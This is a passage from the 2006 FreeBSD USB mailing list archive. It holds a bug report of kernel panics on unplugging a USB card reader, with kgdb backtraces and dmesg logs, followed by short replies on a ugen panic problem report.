iD8DBQBETOBgxqA5ziudZT0RAsQCAJwOajF85MF43UWSuIH2Tq+bgzyqpgCcC4Gc tEvMI5BPLTe2Rw7LvPpuLoA= =wGGr -----END PGP SIGNATURE----- --nextPart1241358.1Mpj4rurJW-- From owner-freebsd-usb@FreeBSD.ORG Mon Apr 24 19:47:19 2006 Return-Path: X-Original-To: freebsd-usb@freebsd.org Delivered-To: freebsd-usb@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E1F4416A402 for ; Mon, 24 Apr 2006 19:47:19 +0000 (UTC) (envelope-from nox@saturn.kn-bremen.de) Received: from gwyn.kn-bremen.de (gwyn.kn-bremen.de [212.63.36.242]) by mx1.FreeBSD.org (Postfix) with ESMTP id 937DA43D53 for ; Mon, 24 Apr 2006 19:47:17 +0000 (GMT) (envelope-from nox@saturn.kn-bremen.de) Received: from gwyn.kn-bremen.de (gwyn [127.0.0.1]) by gwyn.kn-bremen.de (8.13.4/8.13.4/Debian-3sarge1) with ESMTP id k3OJlGT8006059 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Mon, 24 Apr 2006 21:47:16 +0200 Received: from saturn.kn-bremen.de (uucp@localhost) by gwyn.kn-bremen.de (8.13.4/8.13.4/Submit) with UUCP id k3OJlG6r006057 for freebsd-usb@freebsd.org; Mon, 24 Apr 2006 21:47:16 +0200 Received: from saturn.kn-bremen.de (nox@localhost [127.0.0.1]) by saturn.kn-bremen.de (8.13.3/8.13.1) with ESMTP id k3OJhApK043159 for ; Mon, 24 Apr 2006 21:43:10 +0200 (CEST) (envelope-from nox@saturn.kn-bremen.de) Received: (from nox@localhost) by saturn.kn-bremen.de (8.13.3/8.13.1/Submit) id k3OJhApd043158 for freebsd-usb@freebsd.org; Mon, 24 Apr 2006 21:43:10 +0200 (CEST) (envelope-from nox) From: Juergen Lock Date: Mon, 24 Apr 2006 21:43:09 +0200 To: freebsd-usb@freebsd.org Message-ID: <20060424194309.GA42676@saturn.kn-bremen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=unknown-8bit Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.4.2.1i Subject: usb panics :( X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Apr 2006 19:47:20 -0000 [this is RELENG_5 with http://people.freebsd.org/~iedowse/usb_releng_5.diff and umass being used as a kld because of qemu; please Cc me as I'm still not subscribed on -usb.] I wanted to mount an sdcard in a cardreader yesterday and only got panics. First one was when I plugged the cardreader with the card in it in, da3s1 didnt appear, unplugged it, panic: bash 10.3# kgdb kernel.debug /var/crash/vmcore.69 [GDB will not be able to debug user-mode threads: /usr/lib/libthread_db.so: Undefined symbol "ps_pglobal_lookup"] GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd". #0 doadump () at pcpu.h:160 160 __asm __volatile("movl %%fs:0,%0" : "=r" (td)); (kgdb) bt #0 doadump () at pcpu.h:160 #1 0xc05e1fd4 in boot (howto=260) at /usr/home/nox/src-r5/src/sys/kern/kern_shutdown.c:412 #2 0xc05e2298 in panic (fmt=0xc07b46d9 "%s") at /usr/home/nox/src-r5/src/sys/kern/kern_shutdown.c:568 #3 0xc0774d6c in trap_fatal (frame=0xd5431be8, eva=8) at /usr/home/nox/src-r5/src/sys/i386/i386/trap.c:822 #4 0xc0774ac3 in trap_pfault (frame=0xd5431be8, usermode=0, eva=8) at /usr/home/nox/src-r5/src/sys/i386/i386/trap.c:737 #5 0xc07746c1 in trap (frame= {tf_fs = 24, tf_es = 16, tf_ds = 16, tf_edi = -1000156160, tf_esi = 0, tf_ebp = -717022160, tf_isp = -717022188, tf_ebx = -1000156092, tf_edx = -3, tf_ecx = -1016466516, tf_eax = 0, tf_trapno = 12, tf_err = 2, tf_eip = -1069254972, tf_cs = 8, tf_eflags = 66071, tf_esp = -1000156092, tf_ss = -1044211712}) at /usr/home/nox/src-r5/src/sys/i386/i386/trap.c:427 #6 0xc0766f5a in calltrap () at /usr/home/nox/src-r5/src/sys/i386/i386/exception.s:140 #7 0x00000018 in ?? () #8 0x00000010 in ?? () #9 0x00000010 in ?? () #10 0xc462d400 in ?? () #11 0x00000000 in ?? () #12 0xd5431c30 in ?? () ---Type to continue, or q to quit--- #13 0xd5431c14 in ?? () #14 0xc462d444 in ?? () #15 0xfffffffd in ?? () #16 0xc369f3ac in ?? () #17 0x00000000 in ?? () #18 0x0000000c in ?? () #19 0x00000002 in ?? () #20 0xc04476c4 in camq_remove (queue=0xc462d444, index=0) at /usr/home/nox/src-r5/src/sys/cam/cam_queue.c:181 #21 0xc044ace6 in xpt_bus_deregister (pathid=6) at cam_queue.h:199 #22 0xc2973ca8 in ?? () #23 0x00000006 in ?? () #24 0xc293a500 in ?? () #25 0xd5431c8c in ?? () #26 0xc2972c22 in ?? () #27 0xc3a1ca00 in ?? () #28 0xc293a500 in ?? () #29 0xc293a500 in ?? () #30 0xc1abb458 in ?? () #31 0xd5431ca4 in ?? () #32 0xc05f569b in device_detach (dev=0xc3a1ca00) at device_if.h:211 Previous frame inner to this frame (corrupt stack?) (kgdb) fr 20 #20 0xc04476c4 in camq_remove (queue=0xc462d444, index=0) at /usr/home/nox/src-r5/src/sys/cam/cam_queue.c:181 181 queue->queue_array[index]->index = index; (kgdb) p index $1 = 0 (kgdb) p queue->queue_array[index] $2 = (cam_pinfo *) 0x0 (kgdb) q end of dmesg extracted from the dump: umass0: Genesys USB2.0 card Reader, rev 2.00/91.38, addr 2 umass0:6:0:-1: Attached to scbus6 pass3 at umass-sim0 bus 0 target 0 lun 0 pass3: Removable Direct Access SCSI-0 device pass3: 40.000MB/s transfers GEOM: new disk da1 da1 at umass-sim0 bus 0 target 0 lun 0 da1: Removable Direct Access SCSI-0 device da1: 40.000MB/s transfers da1: 243MB (498176 512 byte sectors: 64H 32S/T 243C) (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): CAM Status: SCSI Status Error (da1:umass-sim0:0:0:0): SCSI Status: Check Condition (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present (da1:umass-sim0:0:0:0): (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present Unretryable error (da1:umass-sim0:0:0:0): error 6 (da1:umass-sim0:0:0:0): Unretryable Error Opened disk da1 -> 6 (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): CAM Status: SCSI Status Error (da1:umass-sim0:0:0:0): SCSI Status: Check Condition (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present (da1:umass-sim0:0:0:0): (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present Unretryable error (da1:umass-sim0:0:0:0): error 6 (da1:umass-sim0:0:0:0): Unretryable Error Opened disk da1 -> 6 (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): CAM Status: SCSI Status Error (da1:umass-sim0:0:0:0): SCSI Status: Check Condition (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present (da1:umass-sim0:0:0:0): (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present Unretryable error (da1:umass-sim0:0:0:0): error 6 (da1:umass-sim0:0:0:0): Unretryable Error Opened disk da1 -> 6 pass4 at umass-sim0 bus 0 target 0 lun 1 pass4: Removable Direct Access SCSI-0 device pass4: 40.000MB/s transfers GEOM: new disk da2 (da2:umass-sim0:0:0:1): error 6 (da2:umass-sim0:0:0:1): Unretryable Error da2 at umass-sim0 bus 0 target 0 lun 1 da2: Removable Direct Access SCSI-0 device da2: 40.000MB/s transfers da2: Attempt to query device size failed: NOT READY, Medium not present (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): CAM Status: SCSI Status Error (da2:umass-sim0:0:0:1): SCSI Status: Check Condition (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present (da2:umass-sim0:0:0:1): (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present Unretryable error (da2:umass-sim0:0:0:1): error 6 (da2:umass-sim0:0:0:1): Unretryable Error Opened disk da2 -> 6 (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): CAM Status: SCSI Status Error (da2:umass-sim0:0:0:1): SCSI Status: Check Condition (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present (da2:umass-sim0:0:0:1): (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present Unretryable error (da2:umass-sim0:0:0:1): error 6 (da2:umass-sim0:0:0:1): Unretryable Error Opened disk da2 -> 6 (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): CAM Status: SCSI Status Error (da2:umass-sim0:0:0:1): SCSI Status: Check Condition (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present (da2:umass-sim0:0:0:1): (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present Unretryable error (da2:umass-sim0:0:0:1): error 6 (da2:umass-sim0:0:0:1): Unretryable Error Opened disk da2 -> 6 pass5 at umass-sim0 bus 0 target 0 lun 2 pass5: Removable Direct Access SCSI-0 device pass5: 40.000MB/s transfers GEOM: new disk da3 da3 at umass-sim0 bus 0 target 0 lun 2 da3: Removable Direct Access SCSI-0 device da3: 40.000MB/s transfers da3: 243MB (498176 512 byte sectors: 64H 32S/T 243C) umass0: at uhub3 port 3 (addr 2) disconnected (da1:umass-sim0:0:0:0): lost device (da1:umass-sim0:0:0:0): removing device entry (pass3:umass-sim0:0:0:0): lost device (pass3:umass-sim0:0:0:0): removing device entry (da2:umass-sim0:0:0:1): lost device (da2:umass-sim0:0:0:1): removing device entry (pass4:umass-sim0:0:0:1): lost device (pass4:umass-sim0:0:0:1): removing device entry (da3:umass-sim0:0:0:2): lost device (pass5:umass-sim0:0:0:2): lost device (pass5:umass-sim0:0:0:2): removing device entry Fatal trap 12: page fault while in kernel mode fault virtual address = 0x8 fault code = supervisor write, page not present instruction pointer = 0x8:0xc04476c4 stack pointer = 0x10:0xd5431c28 frame pointer = 0x10:0xd5431c30 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 41 (usb3) trap number = 12 panic: page fault KDB: stack backtrace: kdb_backtrace(100,c1a79a80,10,d5431be8,c) at kdb_backtrace+0x29 panic(c07b46d9,c07f2a0b,0,fffff,c1a7c39b) at panic+0xa8 trap_fatal(d5431be8,8,c1a79a80,0,c) at trap_fatal+0x280 trap_pfault(d5431be8,0,8) at trap_pfault+0x1ef trap(18,10,10,c462d400,0) at trap+0x315 calltrap() at calltrap+0x5 --- trap 0xc, eip = 0xc04476c4, esp = 0xd5431c28, ebp = 0xd5431c30 --- camq_remove(c462d444,fffffffd) at camq_remove+0x34 xpt_bus_deregister(6,c293a500,d5431c8c,c2972c22,c3a1ca00) at xpt_bus_deregister+0x82 umass_cam_detach_sim(c3a1ca00,c293a500,c293a500,c1abb458,d5431ca4) at umass_cam_detach_sim+0x18 umass_detach(c293a500) at umass_detach+0x92 device_detach(c293a500,c07d14af,2,c1a9c9c0,1) at device_detach+0x57 usb_disconnect_port(c1abb458,c1acdb00,500,c1a9c9e0,c1abb408) at usb_disconnect_port+0x8a uhub_explore(c1acdc00) at uhub_explore+0x16b usb_discover(c1acf700,c1a78388,d5431d24,c05cd2dc,c1acf700) at usb_discover+0x2f usb_event_thread(c1acf700,d5431d38) at usb_event_thread+0x66 fork_exit(c0580b00,c1acf700,d5431d38) at fork_exit+0x74 fork_trampoline() at fork_trampoline+0x8 --- trap 0x1, eip = 0, esp = 0xd5431d6c, ebp = 0 --- Uptime: 1d20h59m34s (da3:dead_sim0:0:0:2): error 22 (da3:dead_sim0:0:0:2): Unretryable Error (da3:dead_sim0:0:0:2): Synchronize cache failed, status == 0x8, scsi status == 0x0 Dumping 511 MB 16 32 48 64 80 96 112 128 144 160 176 192 208 224 240 256 272 288 304 320 336 352 368 384 400 416 432 448 464 480 496 second panic was similar (iirc, I was at the console and didnt dump it, it was just after rebooting and trying a second time), then i booted a RELENG_5_4 kernel and got a third panic: bash 10.3# kgdb kernel.debug /var/crash/vmcore.71 [GDB will not be able to debug user-mode threads: /usr/lib/libthread_db.so: Undefined symbol "ps_pglobal_lookup"] GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd". #0 doadump () at pcpu.h:159 159 __asm __volatile("movl %%fs:0,%0" : "=r" (td)); (kgdb) bt #0 doadump () at pcpu.h:159 #1 0xc048a26a in db_fncall (dummy1=0, dummy2=0, dummy3=-1066027421, dummy4=0xd540278c "¸'@ÕÐ\230uÀ¤'@Õ¨'@Õ\220\a") at /usr/home/nox/src54/usr/src/sys/ddb/db_command.c:531 #2 0xc048a078 in db_command (last_cmdp=0xc0873524, cmd_table=0x0, aux_cmd_tablep=0xc07f5dcc, aux_cmd_tablep_end=0xc07f5de8) at /usr/home/nox/src54/usr/src/sys/ddb/db_command.c:349 #3 0xc048a140 in db_command_loop () at /usr/home/nox/src54/usr/src/sys/ddb/db_command.c:455 #4 0xc048bcd5 in db_trap (type=12, code=0) at /usr/home/nox/src54/usr/src/sys/ddb/db_main.c:221 #5 0xc05f972a in kdb_trap (type=12, code=0, tf=0xd540291c) at /usr/home/nox/src54/usr/src/sys/kern/subr_kdb.c:468 #6 0xc0771c91 in trap_fatal (frame=0xd540291c, eva=8) at /usr/home/nox/src54/usr/src/sys/i386/i386/trap.c:812 #7 0xc0771a17 in trap_pfault (frame=0xd540291c, usermode=0, eva=8) at /usr/home/nox/src54/usr/src/sys/i386/i386/trap.c:735 #8 0xc0771615 in trap (frame= {tf_fs = 24, tf_es = 16, tf_ds = 16, tf_edi = -1045413376, tf_esi = 0, tf_ebp = -717215388, tf_isp = -717215416, tf_ebx = -1042030976, tf_edx = 1, tf_ecx = -1040101200, tf_eax = -1039221312, tf_trapno = 12, tf_err = 2, tf_eip = -1069257113, tf_cs = 8, tf_eflags = 66118, tf_esp = -1045413376, tf_ss = -1042030976}) at /usr/home/nox/src54/usr/src/sys/i386/i386/trap.c:425 ---Type to continue, or q to quit--- #9 0xc076412a in calltrap () at /usr/home/nox/src54/usr/src/sys/i386/i386/exception.s:140 #10 0x00000018 in ?? () #11 0x00000010 in ?? () #12 0x00000010 in ?? () #13 0xc1b04200 in ?? () #14 0x00000000 in ?? () #15 0xd5402964 in ?? () #16 0xd5402948 in ?? () #17 0xc1e3de80 in ?? () #18 0x00000001 in ?? () #19 0xc20150b0 in ?? () #20 0xc20ebdc0 in ?? () #21 0x0000000c in ?? () #22 0x00000002 in ?? () #23 0xc0446e67 in camq_remove (queue=0xc1e3de80, index=0) at /usr/home/nox/src54/usr/src/sys/cam/cam_queue.c:182 #24 0xc0449954 in xpt_run_dev_allocq (bus=0xc1e3da80) at /usr/home/nox/src54/usr/src/sys/cam/cam_xpt.c:3766 #25 0xc044a1f6 in xpt_release_ccb (free_ccb=0x0) at /usr/home/nox/src54/usr/src/sys/cam/cam_xpt.c:4317 #26 0xc0455498 in dadone (periph=0xc22d4e00, done_ccb=0xc1b03000) at /usr/home/nox/src54/usr/src/sys/cam/scsi/scsi_da.c:1534 ---Type to continue, or q to quit--- #27 0xc044c6b9 in camisr (V_queue=0xc08721e0) at /usr/home/nox/src54/usr/src/sys/cam/cam_xpt.c:7072 #28 0xc05cead1 in ithread_loop (arg=0xc198ac00) at /usr/home/nox/src54/usr/src/sys/kern/kern_intr.c:547 #29 0xc05cdd64 in fork_exit (callout=0xc05ce980 , arg=0xc198ac00, frame=0xd5402d48) at /usr/home/nox/src54/usr/src/sys/kern/kern_fork.c:791 #30 0xc076418c in fork_trampoline () at /usr/home/nox/src54/usr/src/sys/i386/i386/exception.s:209 (kgdb) fr 23 #23 0xc0446e67 in camq_remove (queue=0xc1e3de80, index=0) at /usr/home/nox/src54/usr/src/sys/cam/cam_queue.c:182 182 heap_down(queue->queue_array, index, queue->entries - 1); (kgdb) p queue $1 = (struct camq *) 0xc1e3de80 (kgdb) p *queue $2 = {queue_array = 0xc20150b0, array_size = 3, entries = 1, generation = 28, qfrozen_cnt = 1} (kgdb) p *queue->queue_array $3 = (cam_pinfo *) 0xc1afae08 (kgdb) p **queue->queue_array $4 = {priority = 5, generation = 28, index = 1} (kgdb) q end of dmesg of that one: umass0: Genesys Logic USB2.0 card Reader, rev 2.00/91.38, addr 2 umass0:6:0:-1: Attached to scbus6 pass3 at umass-sim0 bus 0 target 0 lun 0 pass3: Removable Direct Access SCSI-0 device pass3: 40.000MB/s transfers GEOM: new disk da1 da1 at umass-sim0 bus 0 target 0 lun 0 da1: Removable Direct Access SCSI-0 device da1: 40.000MB/s transfers da1: 243MB (498176 512 byte sectors: 64H 32S/T 243C) (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): CAM Status: SCSI Status Error (da1:umass-sim0:0:0:0): SCSI Status: Check Condition (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present (da1:umass-sim0:0:0:0): (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present Unretryable error (da1:umass-sim0:0:0:0): error 6 (da1:umass-sim0:0:0:0): Unretryable Error Opened disk da1 -> 6 (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): CAM Status: SCSI Status Error (da1:umass-sim0:0:0:0): SCSI Status: Check Condition (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present (da1:umass-sim0:0:0:0): (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present Unretryable error (da1:umass-sim0:0:0:0): error 6 (da1:umass-sim0:0:0:0): Unretryable Error Opened disk da1 -> 6 (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): CAM Status: SCSI Status Error (da1:umass-sim0:0:0:0): SCSI Status: Check Condition (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present (da1:umass-sim0:0:0:0): (da1:umass-sim0:0:0:0): READ CAPACITY. CDB: 25 0 0 0 0 0 0 0 0 0 (da1:umass-sim0:0:0:0): NOT READY asc:3a,0 (da1:umass-sim0:0:0:0): Medium not present Unretryable error (da1:umass-sim0:0:0:0): error 6 (da1:umass-sim0:0:0:0): Unretryable Error Opened disk da1 -> 6 pass4 at umass-sim0 bus 0 target 0 lun 1 pass4: Removable Direct Access SCSI-0 device pass4: 40.000MB/s transfers GEOM: new disk da2 (da2:umass-sim0:0:0:1): error 6 (da2:umass-sim0:0:0:1): Unretryable Error da2 at umass-sim0 bus 0 target 0 lun 1 da2: Removable Direct Access SCSI-0 device da2: 40.000MB/s transfers da2: Attempt to query device size failed: NOT READY, Medium not present (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): CAM Status: SCSI Status Error (da2:umass-sim0:0:0:1): SCSI Status: Check Condition (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present (da2:umass-sim0:0:0:1): (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present Unretryable error (da2:umass-sim0:0:0:1): error 6 (da2:umass-sim0:0:0:1): Unretryable Error Opened disk da2 -> 6 (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): CAM Status: SCSI Status Error (da2:umass-sim0:0:0:1): SCSI Status: Check Condition (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present (da2:umass-sim0:0:0:1): (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present Unretryable error (da2:umass-sim0:0:0:1): error 6 (da2:umass-sim0:0:0:1): Unretryable Error Opened disk da2 -> 6 (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): CAM Status: SCSI Status Error (da2:umass-sim0:0:0:1): SCSI Status: Check Condition (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present (da2:umass-sim0:0:0:1): (da2:umass-sim0:0:0:1): READ CAPACITY. CDB: 25 20 0 0 0 0 0 0 0 0 (da2:umass-sim0:0:0:1): NOT READY asc:3a,0 (da2:umass-sim0:0:0:1): Medium not present Unretryable error (da2:umass-sim0:0:0:1): error 6 (da2:umass-sim0:0:0:1): Unretryable Error Opened disk da2 -> 6 pass5 at umass-sim0 bus 0 target 0 lun 2 pass5: Removable Direct Access SCSI-0 device pass5: 40.000MB/s transfers GEOM: new disk da3 da3 at umass-sim0 bus 0 target 0 lun 2 da3: Removable Direct Access SCSI-0 device da3: 40.000MB/s transfers da3: 243MB (498176 512 byte sectors: 64H 32S/T 243C) umass0: at uhub3 port 3 (addr 2) disconnected (da1:umass-sim0:0:0:0): lost device (da1:umass-sim0:0:0:0): removing device entry (pass3:umass-sim0:0:0:0): lost device (pass3:umass-sim0:0:0:0): removing device entry (da2:umass-sim0:0:0:1): lost device (da2:umass-sim0:0:0:1): removing device entry (pass4:umass-sim0:0:0:1): lost device (pass4:umass-sim0:0:0:1): removing device entry (da3:umass-sim0:0:0:2): lost device (pass5:umass-sim0:0:0:2): lost device (pass5:umass-sim0:0:0:2): removing device entry (da3:umass-sim0:0:0:2): CAM Status 0x39 (da3:umass-sim0:0:0:2): Retrying Command (da3:umass-sim0:0:0:2): CAM Status 0x39 (da3:umass-sim0:0:0:2): Retrying Command (da3:umass-sim0:0:0:2): CAM Status 0x39 (da3:umass-sim0:0:0:2): Retrying Command (da3:umass-sim0:0:0:2): CAM Status 0x39 (da3:umass-sim0:0:0:2): Retrying Command (da3:umass-sim0:0:0:2): error 5 (da3:umass-sim0:0:0:2): Retries Exhausted Fatal trap 12: page fault while in kernel mode fault virtual address = 0x8 fault code = supervisor write, page not present instruction pointer = 0x8:0xc0446e67 stack pointer = 0x10:0xd540295c frame pointer = 0x10:0xd5402964 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 33 (swi3: cambio) Dumping 511 MB 16 32 48 64 80 96 112 128 144 160 176 192 208 224 240 256 272 288 304 320 336 352 368 384 400 416 432 448 464 480 496 each time da3s1 didnt appear. I finally gave up and plugged the cardreader into the other box and booted linux... From owner-freebsd-usb@FreeBSD.ORG Tue Apr 25 15:30:35 2006 Return-Path: X-Original-To: freebsd-usb@hub.freebsd.org Delivered-To: freebsd-usb@hub.freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4D10416A432 for ; Tue, 25 Apr 2006 15:30:35 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id F248B43D48 for ; Tue, 25 Apr 2006 15:30:34 +0000 (GMT) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.13.4/8.13.4) with ESMTP id k3PFUYDc060002 for ; Tue, 25 Apr 2006 15:30:34 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.13.4/8.13.4/Submit) id k3PFUYM3060000; Tue, 25 Apr 2006 15:30:34 GMT (envelope-from gnats) Date: Tue, 25 Apr 2006 15:30:34 GMT Message-Id: <200604251530.k3PFUYM3060000@freefall.freebsd.org> To: freebsd-usb@FreeBSD.org From: Eugene Grosbein Cc: Subject: Re: usb/93949: ugen(4)-related repeatable kernel panic in 6.1-PRERELEASE X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Eugene Grosbein List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Apr 2006 15:30:35 -0000 The following reply was made to PR usb/93949; it has been noted by GNATS. From: Eugene Grosbein To: Anish Mistry Cc: bug-followup@freebsd.org Subject: Re: usb/93949: ugen(4)-related repeatable kernel panic in 6.1-PRERELEASE Date: Tue, 25 Apr 2006 23:26:29 +0800 On Sat, Apr 22, 2006 at 02:56:09PM -0400, Anish Mistry wrote: > Would you please try the following patch to see if it fixes your > problem? > > http://am-productions.biz/docs/ugen-detach-race.patch I've tried, it still panices just after USB cable is unlugged. Eugene From owner-freebsd-usb@FreeBSD.ORG Tue Apr 25 15:50:23 2006 Return-Path: X-Original-To: freebsd-usb@hub.freebsd.org Delivered-To: freebsd-usb@hub.freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 295B016A43D for ; Tue, 25 Apr 2006 15:50:23 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id 307EA43D68 for ; Tue, 25 Apr 2006 15:50:20 +0000 (GMT) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.13.4/8.13.4) with ESMTP id k3PFoJa2061916 for ; Tue, 25 Apr 2006 15:50:19 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.13.4/8.13.4/Submit) id k3PFoJ2o061915; Tue, 25 Apr 2006 15:50:19 GMT (envelope-from gnats) Date: Tue, 25 Apr 2006 15:50:19 GMT Message-Id: <200604251550.k3PFoJ2o061915@freefall.freebsd.org> To: freebsd-usb@FreeBSD.org From: Anish Mistry Cc: Subject: Re: usb/93949: ugen(4)-related repeatable kernel panic in 6.1-PRERELEASE X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Anish Mistry List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Apr 2006 15:50:24 -0000 The following reply was made to PR usb/93949; it has been noted by GNATS. From: Anish Mistry To: Eugene Grosbein Cc: bug-followup@freebsd.org Subject: Re: usb/93949: ugen(4)-related repeatable kernel panic in 6.1-PRERELEASE Date: Tue, 25 Apr 2006 11:41:30 -0400 --nextPart3359510.AoM8gAynxI Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On Tuesday 25 April 2006 11:26, Eugene Grosbein wrote: > I've tried, it still panices just after USB cable is unlugged. I'm not sure what the problem is that you're seeing. Since the=20 backtrace you posted in the PR has the important part corrupted. =20 Would you be able to hook up a firewire or serial console and see if=20 you can get a usable backtrace? Also would you post your dmesg output and "ls -l /dev/ugen*" with the=20 device connected. Unfortunately I only have an APC 